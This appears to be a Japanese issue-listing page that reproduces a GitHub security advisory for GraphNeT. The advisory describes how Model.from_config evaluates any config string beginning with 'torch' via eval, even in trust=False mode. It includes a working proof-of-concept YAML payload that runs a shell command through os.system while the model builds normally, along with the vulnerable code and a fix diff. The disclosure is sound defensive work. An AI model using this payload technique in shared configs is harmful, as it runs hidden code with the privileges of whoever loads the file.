GraphNeT: arbitrary code execution when loading a model config with Model.from_config (trust=False) via eval of strings starting with "torch" (CWE-95)

オープン 初心者向け
#933 コメント 0 件 リアクション 0 件 担当者 0 名 GitHub で見る

まだ誰も着手していません。

評価

難易度
2/5
見積もり時間
1〜3時間
初心者へのやさしさ
62/100
issue の種類
バグ
明瞭さ
明確に書かれている
活発さ
活発
技術スタック
python, pytorch

調査の方向性

脆弱性のある分岐は、src/graphnet/utilities/config/model_config.py の 196-197 行目付近にある _deserialise 内の torch プレフィックスの処理で、文字列が eval に渡されています。同じファイルの _serialise と合わせて読み、どの torch.dtype 文字列がラウンドトリップを維持する必要があるかを確認してください。完了条件は、trust=False のときに torch and ... という値がそのまま返されること、torch.float32 のような dtype が引き続き読み込めること、そして既存の設定テストに両方を扱うリグレッションテストがあることです。プルリクエストを開く前に、メンテナーがこの問題を非公開で扱うことを望んでいるかどうかを先に確認してください。

索引モデルが issue の本文から書いたものです。

説明

Summary

Loading an attacker-supplied model config YAML with Model.from_config(path) runs arbitrary code as the user, even with the default trust=False. ModelConfig._deserialise passes every argument string that starts with torch to eval() without checking trust, so a value such as torch and __import__('os').system(...) or 'energy' runs while the model is built and then evaluates to an ordinary value. Local, user interaction (load the config), high impact (CVSS 7.8).

Details

Model.from_config(source, trust=False) (src/graphnet/models/model.py:84) loads the YAML with ModelConfig.load and calls _construct_model, which applies _deserialise to every argument value (src/graphnet/utilities/config/model_config.py:133) before instantiating the class. The trust flag is checked for the !lambda, !function and !class forms, but not for the last string branch:

# src/graphnet/utilities/config/model_config.py, main e9f6ac76
        elif isinstance(obj, str) and obj.startswith("!class"):
            if trust:
                ...
            else:
                raise ValueError(...)
        elif isinstance(obj, str) and obj.startswith("torch"):     # line 196
            return eval(obj)                                         # line 197

The only condition is the prefix, and eval runs with the module globals, where torch is imported and builtins are available. torch and <expr> or <value> is a valid expression that starts with torch, so any argument in the config (here target_labels) can carry a payload; the result can be the original value, so the model builds exactly as expected and nothing looks wrong. The branch exists to read back torch.dtype values, which _serialise writes as str(dtype) (for example torch.float32). The trust=False default and the ValueError messages for lambdas tell users that an untrusted config is safe to load this way, which it is not. Related: Model.load (model.py:45-47) is torch.load(path, pickle_module=dill), which unpickles a full-model file and is unsafe for untrusted files by design; the config path is the one documented for sharing.

Proof of concept

The script writes an EnergyReconstruction config in the format model.config.dump() produces, with the payload in target_labels, and loads it with the default trust=False. The payload writes the output of id to a marker file.

from graphnet.models import Model

config = """arguments:
  hidden_size: 16
  loss_function:
    ModelConfig:
      arguments: {}
      class_name: LogCoshLoss
  target_labels: "torch and __import__('os').system('id > /tmp/graphnet_poc.txt') or 'energy'"
class_name: EnergyReconstruction
"""
with open("model.yml", "w") as fh:
    fh.write(config)

model = Model.from_config("model.yml")      # trust=False (the default)
print(type(model).__name__, "target_labels =", getattr(model, "_target_labels", None))

Observed: /tmp/graphnet_poc.txt contains the output of id, and the model builds normally: the script prints EnergyReconstruction target_labels = ['energy']. Control: the unmodified config dump (plain target_labels) builds the same model through the same code and runs nothing; the target_labels string is the only difference. Tested on GraphNeT main e9f6ac76 (installed from git; the same branch is in release v1.8.0) with torch 2.8.0+cpu, torch-geometric 2.7.0, torch_scatter 2.1.2, torch_sparse 0.6.18, Python 3.13, Linux.

Impact

GraphNeT model configs are shared with trained state dicts between analysers and in pretrained-model folders, and Model.from_config with the default trust=False is the documented way to rebuild a model from one. Anyone who loads a config from an untrusted source runs the author's code with their privileges, while believing the safe mode is in effect.

Suggested fix

In ModelConfig._deserialise (src/graphnet/utilities/config/model_config.py:196-197), resolve the attribute name on the torch module and accept it only if it is a torch.dtype, which is the only thing _serialise writes with that prefix; leave any other string unchanged. Add a regression test to the existing config tests that a torch and ... expression is not evaluated with trust=False.

--- a/src/graphnet/utilities/config/model_config.py
+++ b/src/graphnet/utilities/config/model_config.py
@@ -194,7 +194,11 @@
                     "model again."
                 )
         elif isinstance(obj, str) and obj.startswith("torch"):
-            return eval(obj)
+            name = obj[len("torch."):] if obj.startswith("torch.") else ""
+            value = getattr(torch, name, None) if name.isidentifier() else None
+            if isinstance(value, torch.dtype):
+                return value
+            return obj
 
         else:
             return obj
Affected
Credit

Dilanka Kaushal Hewage (r3vpwnx) [email protected]

主要言語
Python
スター
117
フォーク
115
平均マージ
2日 21時間
マージ済み PR(30日)
1

環境構築

  • Dockerfile または Docker Compose ファイルあり
  • プルリクエストのテンプレートなし
  • コントリビューションガイドなし

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

graphnet-team/graphnet のほかの issue

graphnet-team/graphnet の issue をすべて見る

似ている issue

Python の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。